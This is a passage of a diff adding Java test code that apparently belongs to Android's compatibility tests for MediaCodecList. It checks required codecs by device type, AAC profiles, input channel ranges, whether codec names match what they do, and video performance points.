+                Log.d(TAG, "skipping non-regular codec " + info.getName());
+                continue;
+            }
+            Log.d(TAG, "checking codec " + info.getName());
+            assertSuperset(info, mRegularInfos[ix]);
+            ++ix;
+        }
+        assertEquals(
+                "some regular codecs are not listed in all codecs", ix, mRegularInfos.length);
+    }
+
+    public void testRequiredMediaCodecList() {
+        List<CodecType> requiredList = getRequiredCodecTypes();
+        List<CodecType> supportedList = getSupportedCodecTypes();
+        assertTrue(areRequiredCodecTypesSupported(requiredList, supportedList));
+        for (CodecType type : requiredList) {
+            assertTrue("cannot find " + type, type.canBeFound());
+        }
+    }
+
+    private boolean hasCamera() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_CAMERA_FRONT) ||
+                pm.hasSystemFeature(pm.FEATURE_CAMERA);
+    }
+
+    private boolean hasMicrophone() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_MICROPHONE);
+    }
+
+    private boolean isWatch() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_WATCH);
+    }
+
+    private boolean isHandheld() {
+        // handheld nature is not exposed to package manager, for now
+        // we check for touchscreen and NOT watch and NOT tv
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_TOUCHSCREEN)
+                && !pm.hasSystemFeature(pm.FEATURE_WATCH)
+                && !pm.hasSystemFeature(pm.FEATURE_TELEVISION)
+                && !pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
+    private boolean isAutomotive() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_AUTOMOTIVE);
+    }
+
+    private boolean isPC() {
+        PackageManager pm = getContext().getPackageManager();
+        return pm.hasSystemFeature(pm.FEATURE_PC);
+    }
+
+    // Find whether the given codec can be found using MediaCodecList.find methods.
+    private boolean codecCanBeFound(boolean isEncoder, MediaFormat format) {
+        String codecName = isEncoder
+                ? mRegularCodecs.findEncoderForFormat(format)
+                : mRegularCodecs.findDecoderForFormat(format);
+        return codecName != null;
+    }
+
+    /*
+     * Find whether all required media codec types are supported
+     */
+    private boolean areRequiredCodecTypesSupported(
+        List<CodecType> requiredList, List<CodecType> supportedList) {
+        for (CodecType requiredCodec: requiredList) {
+            boolean isSupported = false;
+            for (CodecType supportedCodec: supportedList) {
+                if (requiredCodec.equals(supportedCodec)) {
+                    isSupported = true;
+                }
+            }
+            if (!isSupported) {
+                String codec = requiredCodec.mMimeTypeName
+                                + ", " + (requiredCodec.mIsEncoder? "encoder": "decoder");
+                Log.e(TAG, "Media codec (" + codec + ") is not supported");
+                return false;
+            }
+        }
+        return true;
+    }
+
+    /*
+     * Find all the media codec types are supported.
+     */
+    private List<CodecType> getSupportedCodecTypes() {
+        List<CodecType> supportedList = new ArrayList<CodecType>();
+        for (MediaCodecInfo info : mRegularInfos) {
+            String[] types = info.getSupportedTypes();
+            assertTrue("Unexpected number of supported types", types.length > 0);
+            boolean isEncoder = info.isEncoder();
+            for (int j = 0; j < types.length; ++j) {
+                supportedList.add(new CodecType(types[j], isEncoder, null /* sampleFormat */));
+            }
+        }
+        return supportedList;
+    }
+
+    /*
+     * This list should be kept in sync with the CCD document
+     * See http://developer.android.com/guide/appendix/media-formats.html
+     */
+    private List<CodecType> getRequiredCodecTypes() {
+        List<CodecType> list = new ArrayList<CodecType>(16);
+
+        // Mandatory audio decoders
+
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_FLAC, false, 48000));
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_MPEG, false, 8000));  // mp3
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_MPEG, false, 48000)); // mp3
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_VORBIS, false, 8000));
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_VORBIS, false, 48000));
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AAC, false, 8000));
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AAC, false, 48000));
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_RAW, false, 8000));
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_RAW, false, 44100));
+        list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_OPUS, false, 48000));
+
+        // Mandatory audio encoders (for non-watch devices with camera)
+
+        if (hasMicrophone() && !isWatch()) {
+            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AAC, true, 8000));
+            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AAC, true, 48000));
+            // flac encoder is not required
+            // list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_FLAC, true));  // encoder
+        }
+
+        // Mandatory audio encoders for handheld devices
+        if (isHandheld()) {
+            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AMR_NB, false, 8000));  // decoder
+            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AMR_NB, true,  8000));  // encoder
+            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AMR_WB, false, 16000)); // decoder
+            list.add(new AudioCodec(MediaFormat.MIMETYPE_AUDIO_AMR_WB, true,  16000)); // encoder
+        }
+
+        // Mandatory video codecs (for non-watch devices)
+
+        if (!isWatch()) {
+            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_AVC, false));   // avc decoder
+            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_AVC, true));    // avc encoder
+            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, false));   // vp8 decoder
+            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP8, true));    // vp8 encoder
+            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_VP9, false));   // vp9 decoder
+
+            // According to CDD, hevc decoding is not mandatory for automotive and PC devices.
+            if (!isAutomotive() && !isPC()) {
+                list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_HEVC, false));  // hevc decoder
+            }
+            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_MPEG4, false)); // m4v decoder
+            list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_H263, false));  // h263 decoder
+            if (hasCamera()) {
+                list.add(new VideoCodec(MediaFormat.MIMETYPE_VIDEO_H263, true)); // h263 encoder
+            }
+        }
+
+        return list;
+    }
+
+    public void testFindDecoderWithAacProfile() throws Exception {
+        Log.d(TAG, "testFindDecoderWithAacProfile");
+        MediaFormat format = MediaFormat.createAudioFormat(
+                MediaFormat.MIMETYPE_AUDIO_AAC, 8000, 1);
+        List<Integer> profiles = new ArrayList<>();
+        profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectLC);
+        profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectHE);
+        profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectHE_PS);
+        // The API is added at 5.0, so the profile below must be supported.
+        profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectELD);
+        for (int profile : profiles) {
+            format.setInteger(MediaFormat.KEY_AAC_PROFILE, profile);
+            String codecName = mRegularCodecs.findDecoderForFormat(format);
+            assertNotNull("Profile " + profile + " must be supported.", codecName);
+        }
+    }
+
+    public void testFindEncoderWithAacProfile() throws Exception {
+        Log.d(TAG, "testFindEncoderWithAacProfile");
+        MediaFormat format = MediaFormat.createAudioFormat(
+                MediaFormat.MIMETYPE_AUDIO_AAC, 8000, 1);
+        List<Integer> profiles = new ArrayList<>();
+        if (hasMicrophone() && !isWatch()) {
+            profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectLC);
+            // The API is added at 5.0, so the profiles below must be supported.
+            profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectHE);
+            profiles.add(MediaCodecInfo.CodecProfileLevel.AACObjectELD);
+        }
+        for (int profile : profiles) {
+            format.setInteger(MediaFormat.KEY_AAC_PROFILE, profile);
+            String codecName = mRegularCodecs.findEncoderForFormat(format);
+            assertNotNull("Profile " + profile + " must be supported.", codecName);
+        }
+    }
+
+    public void testAudioCodecChannels() {
+        for (MediaCodecInfo info : mAllInfos) {
+            String[] types = info.getSupportedTypes();
+            for (int j = 0; j < types.length; ++j) {
+                CodecCapabilities cap = info.getCapabilitiesForType(types[j]);
+                AudioCapabilities audioCap = cap.getAudioCapabilities();
+                if (audioCap == null) {
+                    assertFalse("no audio capabilities for audio media type " + types[j] + " of "
+                                    + info.getName(),
+                                types[j].toLowerCase().startsWith("audio/"));
+                    continue;
+                }
+                int n = audioCap.getMaxInputChannelCount();
+                Log.d(TAG, info.getName() + ": " + n);
+                assertTrue(info.getName() + " max input channel not positive: " + n, n > 0);
+            }
+        }
+    }
+
+    public void testInputChannelLimits() throws IOException {
+        if (!MediaUtils.check(sIsAtLeastS, "testInputChannelLimits invalid before Android 12")) {
+            return;
+        }
+        for (MediaCodecInfo info : mAllInfos) {
+            boolean isEncoder = info.isEncoder();
+            if (!isEncoder) {
+                continue;
+            }
+            for (String mime: info.getSupportedTypes()) {
+                CodecCapabilities caps = info.getCapabilitiesForType(mime);
+                // it advertised this mime, it should have appropriate capabilities
+                assertNotNull("codec=" + info.getName()
+                              + " no capabilities for advertised mime=" + mime, caps);
+                AudioCapabilities acaps = caps.getAudioCapabilities();
+                boolean isAudio = (acaps != null);
+
+                if (!isAudio) {
+                    continue;
+                }
+
+                int countMin = acaps.getMinInputChannelCount();
+                int countMax = acaps.getMaxInputChannelCount();
+                Range<Integer>[] countRanges = acaps.getInputChannelCountRanges();
+
+                assertNotNull("getInputChannelCountRanges() null, codec=" + info.getName(),
+                                countRanges);
+                assertTrue("getInputChannelCountRanges() empty range codec=" + info.getName(),
+                                countRanges.length > 0);
+
+                assertEquals("first range lower != min mismatch codec=" + info.getName(),
+                                countMin, countRanges[0].getLower().intValue());
+                assertEquals("last range upper != max mismatch codec=" + info.getName(),
+                                countMax, countRanges[countRanges.length-1].getUpper().intValue());
+
+                int foundLow = Integer.MAX_VALUE;
+                int foundHigh = Integer.MIN_VALUE;
+                for (Range<Integer> oneRange: countRanges) {
+                    int upper = oneRange.getUpper().intValue();
+                    if (foundHigh < upper) {
+                        foundHigh = upper;
+                    }
+                    int lower = oneRange.getLower().intValue();
+                    if (foundLow > lower) {
+                        foundLow = lower;
+                    }
+                    assertTrue(lower <= upper);
+                }
+                assertEquals("minimum count mismatch codec=" + info.getName(),
+                                countMin, foundLow);
+                assertEquals("maximum count mismatch codec=" + info.getName(),
+                                countMax, foundHigh);
+            }
+        }
+    }
+
+
+
+    private void testCanonicalCodecIsNotAnAlias(String canonicalName) {
+        // canonical name must point to a non-alias
+        for (MediaCodecInfo canonical : mAllInfos) {
+            if (canonical.getName().equals(canonicalName)) {
+                assertFalse(canonical.isAlias());
+                return;
+            }
+        }
+        fail("could not find info to canonical name '" + canonicalName + "'");
+    }
+
+    private String getCustomPartOfComponentName(MediaCodecInfo info) {
+        String name = info.getName();
+        if (name.startsWith("OMX.") || name.startsWith("c2.")) {
+            // strip off OMX.<vendor_name>.
+            return name.replaceFirst("^OMX\\.([^.]+)\\.", "");
+        }
+        return name;
+    }
+
+    private void testKindInCodecNamesIsMeaningful(MediaCodecInfo info) {
+        String name = getCustomPartOfComponentName(info);
+        // codec names containing 'encoder' or 'enc' must be encoders, 'decoder' or 'dec' must
+        // be decoders
+        if (name.matches("(?i)\\b(encoder|enc)\\b")) {
+            assertTrue(info.isEncoder());
+        }
+        if (name.matches("(?i)\\b(decoder|dec)\\b")) {
+            assertFalse(info.isEncoder());
+        }
+    }
+
+    private void testMediaTypeInCodecNamesIsMeaningful(MediaCodecInfo info) {
+        // Codec names containing media type names must support that media type
+        String name = getCustomPartOfComponentName(info);
+
+        Set<String> supportedTypes = new HashSet<String>(Arrays.asList(info.getSupportedTypes()));
+
+        // video types
+        if (name.matches("(?i)\\b(mp(eg)?2)\\b")) {
+            // this may refer to audio mpeg1-layer2 or video mpeg2
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_MPEG2)
+                        || supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_MPEG + "-L2"));
+        }
+        if (name.matches("(?i)\\b(h\\.?263)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_H263));
+        }
+        if (name.matches("(?i)\\b(mp(eg)?4)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_MPEG4));
+        }
+        if (name.matches("(?i)\\b(h\\.?264|avc)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_AVC));
+        }
+        if (name.matches("(?i)\\b(vp8)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_VP8));
+        }
+        if (name.matches("(?i)\\b(h\\.?265|hevc)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_HEVC));
+        }
+        if (name.matches("(?i)\\b(vp9)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_VP9));
+        }
+        if (name.matches("(?i)\\b(av0?1)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_AV1));
+        }
+
+        // audio types
+        if (name.matches("(?i)\\b(mp(eg)?3)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_MPEG));
+        }
+        if (name.matches("(?i)\\b(x?aac)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AAC));
+        }
+        if (name.matches("(?i)\\b(pcm)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_RAW));
+        }
+        if (name.matches("(?i)\\b(raw)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_RAW)
+                        || supportedTypes.contains(MediaFormat.MIMETYPE_VIDEO_RAW));
+        }
+        if (name.matches("(?i)\\b(amr)\\b")) {
+            if (name.matches("(?i)\\b(nb)\\b")) {
+                assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AMR_NB));
+            } else if (name.matches("(?i)\\b(wb)\\b")) {
+                assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AMR_WB));
+            } else {
+                assertTrue(
+                    supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AMR_NB)
+                            || supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AMR_WB));
+            }
+        }
+        if (name.matches("(?i)\\b(opus)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_OPUS));
+        }
+        if (name.matches("(?i)\\b(vorbis)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_VORBIS));
+        }
+        if (name.matches("(?i)\\b(flac)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_FLAC));
+        }
+        if (name.matches("(?i)\\b(ac3)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AC3));
+        }
+        if (name.matches("(?i)\\b(ac4)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_AC4));
+        }
+        if (name.matches("(?i)\\b(eac3)\\b")) {
+            assertTrue(supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_EAC3)
+                        || supportedTypes.contains(MediaFormat.MIMETYPE_AUDIO_EAC3_JOC));
+        }
+    }
+
+    public void testCodecCharacterizations() {
+        for (MediaCodecInfo info : mAllInfos) {
+            Log.d(TAG, "codec: " + info.getName() + " canonical: " + info.getCanonicalName());
+
+            // AOSP codecs must not be marked as vendor or hardware accelerated
+            if (info.getName().startsWith("OMX.google.")) {
+                assertFalse(info.isVendor());
+                assertFalse(info.isHardwareAccelerated());
+            }
+
+            // Codec 2.0 based AOSP codecs must run in a software-only process
+            if (info.getName().startsWith("c2.android.")) {
+                assertTrue(info.isSoftwareOnly());
+                assertFalse(info.isVendor());
+                assertFalse(info.isHardwareAccelerated());
+            }
+
+            // validate aliases
+            if (info.isAlias()) {
+                assertFalse(info.getName().equals(info.getCanonicalName()));
+                testCanonicalCodecIsNotAnAlias(info.getCanonicalName());
+            } else {
+                // validate codec names: (Canonical) codec names must be meaningful.
+                // We only test this on canonical infos as we allow aliases to support
+                // existing codec names that do not fit this.
+                assertEquals(info.getName(), info.getCanonicalName());
+                testKindInCodecNamesIsMeaningful(info);
+                testMediaTypeInCodecNamesIsMeaningful(info);
+            }
+
+            // hardware accelerated codecs cannot be software only
+            assertFalse(info.isHardwareAccelerated() && info.isSoftwareOnly());
+        }
+    }
+
+    public void testVideoPerformancePointsSanity() {
+        MediaFormat hd25Format =
+            MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 1280, 720);
+        hd25Format.setFloat(MediaFormat.KEY_FRAME_RATE, 25.f);
+
+        MediaFormat portraitHd240Format =
+            MediaFormat.createVideoFormat(MediaFormat.MIMETYPE_VIDEO_AVC, 720, 1280);
+        portraitHd240Format.setInteger(MediaFormat.KEY_FRAME_RATE, 240);
+
+        /* common-sense checks */
+        assertTrue(VideoCapabilities.PerformancePoint.HD_30.covers(hd25Format));
+        assertTrue(VideoCapabilities.PerformancePoint.HD_25.covers(hd25Format));
+        assertFalse(VideoCapabilities.PerformancePoint.HD_24.covers(hd25Format));
+        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.covers(hd25Format));
+        assertTrue(VideoCapabilities.PerformancePoint.FHD_25.covers(hd25Format));
+        assertFalse(VideoCapabilities.PerformancePoint.FHD_24.covers(hd25Format));
+
+        assertTrue(VideoCapabilities.PerformancePoint.HD_240.covers(portraitHd240Format));
+        assertFalse(VideoCapabilities.PerformancePoint.HD_200.covers(portraitHd240Format));
+        assertTrue(VideoCapabilities.PerformancePoint.FHD_240.covers(portraitHd240Format));
+        assertFalse(VideoCapabilities.PerformancePoint.FHD_200.covers(portraitHd240Format));
+
+        /* test macroblock size and conversion support */
+        VideoCapabilities.PerformancePoint bigBlockFHD30_120 =
+            new VideoCapabilities.PerformancePoint(1920, 1080, 30, 120, new Size(128, 64));
+        assertEquals(120, bigBlockFHD30_120.getMaxFrameRate());
+        assertEquals(8160, bigBlockFHD30_120.getMaxMacroBlocks());
+        assertEquals(244800, bigBlockFHD30_120.getMaxMacroBlockRate());
+
+        VideoCapabilities.PerformancePoint bigRotBlockFHD30_120 =
+            new VideoCapabilities.PerformancePoint(1920, 1080, 30, 120, new Size(64, 128));
+        assertEquals(120, bigRotBlockFHD30_120.getMaxFrameRate());
+        assertEquals(8640, bigRotBlockFHD30_120.getMaxMacroBlocks());
+        assertEquals(259200, bigRotBlockFHD30_120.getMaxMacroBlockRate());
+
+        /* test conversion logic */
+        {
+            /* 900*900@25-50 */
+            VideoCapabilities.PerformancePoint unusual =
+                new VideoCapabilities.PerformancePoint(900, 900, 25, 50, new Size(1, 1));
+            assertEquals(50, unusual.getMaxFrameRate());
+            assertEquals(3249, unusual.getMaxMacroBlocks());
+            assertEquals(81225, unusual.getMaxMacroBlockRate());
+
+            /* becomes 960*1024@25-50 */
+            VideoCapabilities.PerformancePoint converted1 =
+                new VideoCapabilities.PerformancePoint(unusual, new Size(128, 64));
+            assertEquals(50, converted1.getMaxFrameRate());
+            assertEquals(3840, converted1.getMaxMacroBlocks());
+            assertEquals(96000, converted1.getMaxMacroBlockRate());
+
+            /* becomes 1024*960@25-50 */
+            VideoCapabilities.PerformancePoint converted2 =
+                new VideoCapabilities.PerformancePoint(unusual, new Size(64, 128));
+            assertEquals(50, converted2.getMaxFrameRate());
+            assertEquals(3840, converted2.getMaxMacroBlocks());
+            assertEquals(96000, converted2.getMaxMacroBlockRate());
+
+            /* becomes 1024*1024@25-50 */
+            VideoCapabilities.PerformancePoint converted3 =
+                new VideoCapabilities.PerformancePoint(converted1, new Size(64, 128));
+            assertEquals(50, converted3.getMaxFrameRate());
+            assertEquals(4096, converted3.getMaxMacroBlocks());
+            assertEquals(102400, converted3.getMaxMacroBlockRate());
+
+            assertEquals(converted1, converted2);
+            assertEquals(converted2, converted1);
+            assertEquals(converted1, converted3);
+            assertEquals(converted3, converted1);
+            assertTrue(converted1.covers(converted2));
+            assertTrue(converted2.covers(converted1));
+            assertTrue(converted2.covers(converted3));
+            assertTrue(converted3.covers(converted2));
+        }
+
+        // big macroblock size does not impact standard performance points as the dimensions are set
+        VideoCapabilities.PerformancePoint bigBlockFHD30 =
+            new VideoCapabilities.PerformancePoint(1920, 1080, 30, 30, new Size(128, 64));
+
+        assertTrue(bigBlockFHD30.covers(VideoCapabilities.PerformancePoint.FHD_30));
+        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.covers(bigBlockFHD30));
+        assertTrue(bigBlockFHD30.equals(VideoCapabilities.PerformancePoint.FHD_30));
+        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.equals(bigBlockFHD30));
+
+        // but it impacts the case where dimensions differ
+        assertFalse(bigBlockFHD30.covers(new VideoCapabilities.PerformancePoint(1080, 1920, 30)));
+        assertFalse(bigBlockFHD30.covers(new VideoCapabilities.PerformancePoint(1936, 1072, 30)));
+        assertFalse(bigBlockFHD30.covers(new VideoCapabilities.PerformancePoint(1280, 720, 63)));
+        assertTrue(bigBlockFHD30_120.covers(new VideoCapabilities.PerformancePoint(1280, 720, 63)));
+        assertFalse(bigBlockFHD30_120.covers(new VideoCapabilities.PerformancePoint(1280, 720, 64)));
+        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.covers(
+                new VideoCapabilities.PerformancePoint(1080, 1920, 30)));
+        assertTrue(VideoCapabilities.PerformancePoint.FHD_30.covers(
+                new VideoCapabilities.PerformancePoint(1936, 1072, 30)));
+        assertTrue(new VideoCapabilities.PerformancePoint(1920, 1080, 30, 120, new Size(1, 1))
+                   .covers(new VideoCapabilities.PerformancePoint(1280, 720, 68)));
+    }
+
+    private void verifyPerformancePoints(
+            MediaCodecInfo info, String mediaType,
+            List<VideoCapabilities.PerformancePoint> points) {
+        List<VideoCapabilities.PerformancePoint> standardPoints = Arrays.asList(
+                VideoCapabilities.PerformancePoint.UHD_240,
+                VideoCapabilities.PerformancePoint.UHD_200,
+                VideoCapabilities.PerformancePoint.UHD_120,
+                VideoCapabilities.PerformancePoint.UHD_100,
+                VideoCapabilities.PerformancePoint.UHD_60,
+                VideoCapabilities.PerformancePoint.UHD_50,
+                VideoCapabilities.PerformancePoint.UHD_30,
+                VideoCapabilities.PerformancePoint.UHD_25,
+                VideoCapabilities.PerformancePoint.UHD_24,
+                VideoCapabilities.PerformancePoint.FHD_240,
+                VideoCapabilities.PerformancePoint.FHD_200,
+                VideoCapabilities.PerformancePoint.FHD_120,
+                VideoCapabilities.PerformancePoint.FHD_100,
+                VideoCapabilities.PerformancePoint.FHD_60,
+                VideoCapabilities.PerformancePoint.FHD_50,
+                VideoCapabilities.PerformancePoint.FHD_30,
+                VideoCapabilities.PerformancePoint.FHD_25,
+                VideoCapabilities.PerformancePoint.FHD_24,
+                VideoCapabilities.PerformancePoint.HD_240,
+                VideoCapabilities.PerformancePoint.HD_200,
+                VideoCapabilities.PerformancePoint.HD_120,
+                VideoCapabilities.PerformancePoint.HD_100,
+                VideoCapabilities.PerformancePoint.HD_60,
+                VideoCapabilities.PerformancePoint.HD_50,
+                VideoCapabilities.PerformancePoint.HD_30,
+                VideoCapabilities.PerformancePoint.HD_25,
+                VideoCapabilities.PerformancePoint.HD_24,
+                VideoCapabilities.PerformancePoint.SD_60,
+                VideoCapabilities.PerformancePoint.SD_50,
+                VideoCapabilities.PerformancePoint.SD_48,
+                VideoCapabilities.PerformancePoint.SD_30,
+                VideoCapabilities.PerformancePoint.SD_25,
+                VideoCapabilities.PerformancePoint.SD_24);
+
+        // Components must list all supported standard performance points unless those performance
+        // points are covered by other listed standard performance points.
+        for (VideoCapabilities.PerformancePoint pp : points) {
+            if (standardPoints.contains(pp)) {
+                // standard points must not be covered by other listed standard points
+                for (VideoCapabilities.PerformancePoint pp2 : points) {
+                    if (!standardPoints.contains(pp2)) {
+                        continue;
+                    }
+                    // using object equality to determine otherness
+                    assertFalse("standard " + pp2 + " for " + info.getCanonicalName()
+                            + " for media type " + mediaType + " covers standard " + pp,
+                            pp2 != pp && pp2.covers(pp));
+                }
+            } else {
+                // non-standard points must list all covered standard point not covered by another
+                // listed standard point
+                for (VideoCapabilities.PerformancePoint spp : standardPoints) {
+                    if (pp.covers(spp)) {
+                        // Must be either listed or covered by another standard. Since a point
+                        // covers itself, it is sufficient to check that it is covered by a listed
+                        // standard point.
+                        boolean covered = false;
+                        for (VideoCapabilities.PerformancePoint pp2 : points) {
+                            // using object equality to determine otherness
+                            if (standardPoints.contains(pp2) && pp2.covers(spp)) {
+                                covered = true;
+                                break;
+                            }
+                        }
+                        assertTrue(pp + " for " + info.getCanonicalName() + " for media type "
+                                + mediaType + " covers standard " + spp
+                                + " that is not covered by a listed standard point",
+                                covered);
+                    }
+                }
+                // non-standard points should not be covered by any other performance point
+                for (VideoCapabilities.PerformancePoint pp2 : points) {
+                    // using object equality to determine otherness
+                    assertFalse(pp2 + " for " + info.getCanonicalName()
+                            + " for media type " + mediaType + " covers " + pp,
+                            pp2 != pp && pp2.covers(pp));
+                }
+            }
+        }
+    }
+
+    public void testAllHardwareAcceleratedVideoCodecsPublishPerformancePoints() {
+        List<String> mandatoryTypes = Arrays.asList(
+                MediaFormat.MIMETYPE_VIDEO_AVC,
+                MediaFormat.MIMETYPE_VIDEO_VP8,
+                MediaFormat.MIMETYPE_VIDEO_DOLBY_VISION,
+                MediaFormat.MIMETYPE_VIDEO_HEVC,
+                MediaFormat.MIMETYPE_VIDEO_VP9,
+                MediaFormat.MIMETYPE_VIDEO_AV1);
+
+        String[] featuresToConfig = new String[] {
+            FEATURE_SecurePlayback,
+            FEATURE_TunneledPlayback,
+        };
+
+        Set<Pair<String, Integer>> describedTypes = new HashSet<>(); // mediaType - featureIndex
+        Set<Pair<String, Integer>> supportedTypes = new HashSet<>(); // mediaType - featureIndex
+
+        // Once any hardware codec performance is described, we assume that all hardware codecs
+        // must be described, even if we cannot confirm expanded codec info support.
+        boolean hasPerformancePoints = hasExpandedCodecInfo();
+        if (!hasPerformancePoints) {
+            for (MediaCodecInfo info : mAllInfos) {
+                String[] types = info.getSupportedTypes();
+                for (int j = 0; j < types.length; ++j) {
+                    String mediaType = types[j];
+                    CodecCapabilities cap = info.getCapabilitiesForType(mediaType);
+                    VideoCapabilities videoCap = cap.getVideoCapabilities();
+                    if (videoCap != null
+                            && videoCap.getSupportedPerformancePoints() != null) {
+                        hasPerformancePoints = true;
+                        break;
+                    }
+                }
+                if (hasPerformancePoints) {
+                    break;
+                }
+            }
+        }
+
+        for (MediaCodecInfo info : mAllInfos) {
+            String[] types = info.getSupportedTypes();
+            for (int j = 0; j < types.length; ++j) {
+                String mediaType = types[j];
+                CodecCapabilities cap = info.getCapabilitiesForType(mediaType);
+                MediaFormat defaultFormat = cap.getDefaultFormat();
+                VideoCapabilities videoCap = cap.getVideoCapabilities();
+
+                Log.d(TAG, "codec: " + info.getName() + " canonical: " + info.getCanonicalName()
+                        + " type: " + mediaType);
+
+                if (videoCap == null) {
+                    assertFalse("no video capabilities for video media type " + mediaType + " of "
+                                    + info.getName(),
+                                mediaType.toLowerCase().startsWith("video/"));
+                    continue;
+                }
+
+                List<VideoCapabilities.PerformancePoint> pps =
+                    videoCap.getSupportedPerformancePoints();
+
+                // see which feature combinations are supported by this codec
+                // we do this by counting in binary up to a number of bits
+                List<Integer> supportedFeatureConfigs = new ArrayList<Integer>();
+                for (int cfg_ix = 1 << featuresToConfig.length; --cfg_ix >= 0; ) {
+                    boolean supported = true;
+                    for (int f_ix = 0; supported && f_ix < featuresToConfig.length; ++f_ix) {
+                        if (((cfg_ix >> f_ix) & 1) != 0) {
+                            // feature is to be enabled
+                            supported = supported && cap.isFeatureSupported(featuresToConfig[f_ix]);
+                        } else {
+                            // feature is not to be enabled
+                            supported = supported && !cap.isFeatureRequired(featuresToConfig[f_ix]);
+                        }
+                    }
+                    if (supported) {
+                        supportedFeatureConfigs.add(cfg_ix);
+                    }
+                }
+
+                Log.d(TAG, "codec supports configs " + Arrays.toString(
+                        supportedFeatureConfigs.stream().mapToInt(Integer::intValue).toArray()));
+                boolean isMandatory = mandatoryTypes.contains(mediaType);
+                if (info.isHardwareAccelerated()) {
+                    for (Integer cfg_ix : supportedFeatureConfigs) {
+                        Pair<String, Integer> type = Pair.create(mediaType, cfg_ix);
+                        if (hasPerformancePoints && isMandatory) {
+                            supportedTypes.add(type);
+                        }
+                        if (pps != null && pps.size() > 0) {
+                            describedTypes.add(type);
+                        }
+                    }
+                }
+
+                if (pps == null) {
+                    if (hasExpandedCodecInfo()) {
+                        // Hardware-accelerated video components must publish performance points,
+                        // even if it is an empty list.
+                        assertFalse("HW-accelerated codec '" + info.getName()
+                                + "' must publish performance points", info.isHardwareAccelerated());
+                    }
+
+                    continue;
+                }
+
+                // At least one hardware accelerated codec for each media type (including secure
+                // codecs) must publish valid performance points for AVC/VP8/VP9/HEVC/AV1.
+                if (pps.size() == 0) {
+                    if (isMandatory) {
+                        Log.d(TAG, "empty performance points list published by HW accelerated" +
+                                   "component " + info.getName() + " for " + types[j]);
+                    }
+                } else {
+                    for (VideoCapabilities.PerformancePoint p : pps) {
+                        Log.d(TAG, "got performance point " + p);
+                    }
+                    verifyPerformancePoints(info, types[j], pps);
+                }
+            }
+        }
+
